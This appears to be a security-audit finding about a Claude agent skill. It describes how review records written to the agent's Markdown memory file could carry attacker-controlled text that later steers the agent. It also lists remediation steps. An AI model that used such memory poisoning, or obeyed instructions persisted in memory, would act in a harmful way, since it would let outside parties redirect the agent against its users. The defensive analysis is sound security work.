T02 · Agent Memory Poisoning
Warning
- Location
- SKILL.md:105
- Finding
- Untrusted Review Data Persisted in Agent Memory<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md`, lines 105-129 **Vulnerability Type**: Persistent agent-memory poisoning through insufficiently sanitized audit records **Risk Level**: Medium ### Vulnerable Code Snippet The following is a faithful English rendering of the relevant instructions: ```markdown ## Review Records (Optional but Recommended) For previously reviewed content, record the review result for future reference: **Record location**: `~/.claude/projects/<project>/memory/slowmist-security-log.md` **Record format**: # [Date] Security Review Record ## [Review Type] — [Source Identifier] - Time: [ISO 8601] - Rating: [LOW/MEDIUM/HIGH/REJECT] - Key findings: [One-line summary] - Status: [Approved/Rejected/Pending] **Purpose**: - Avoid reviewing the same source repeatedly; review again when content changes - Track user decisions concerning particular ratings - Cite the previous review when the same source is encountered later **Rules**: - Append after each review; do not overwrite - For a new request involving the same source, check the record, cite it, and state how many days have passed - If the content has changed, perform a complete review ``` ### Technical Analysis The skill recommends writing review-derived data into Claude project memory and consulting that persistent record during later reviews. Fields such as the source identifier and key-findings summary can be derived from attacker-controlled URLs, documents, repository metadata, package names, or other external content. No instruction requires these fields to be escaped, length-limited, normalized, stored as strictly typed data, or separated from executable agent instructions. Because the destination is a Markdown file under the Agent's memory directory, crafted content could be persisted in a format that resembles headings, directives, or prompt instructions. If that memory file is subsequently loaded into an Agent context, the injected text could influence lat ...[truncated 2297 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Do not store security-review records in a directory that is automatically loaded as Agent instruction memory. Use a dedicated audit-data directory outside prompt-memory paths. 2. Store records in a strict structured format such as JSON rather than free-form Markdown. 3. Define a fixed schema with typed fields, maximum lengths, and allowlisted values for ratings and statuses. 4. Escape or reject control characters, Markdown headings, HTML comments, code fences, and instruction-like text in source identifiers and summaries. 5. Treat every loaded record as untrusted data and explicitly prohibit interpreting any record field as an instruction. 6. Record a cryptographic hash of the reviewed content, the resolved final URL, version or commit identifier, review timestamp, and provenance. 7. Never reuse an approval unless the current content hash exactly matches the reviewed hash. 8. Perform a fresh review whenever content is mutable, cannot be hashed reliably, redirects to a different destination, or lacks an immutable version identifier. 9. Require human confirmation before a previous record is allowed to reduce review intensity for installations, credential-related operations, system modifications, or financial transactions. 10. Prefer append-only records with integrity protection and validate the entire record before loading or displaying it in an Agent context. ]]>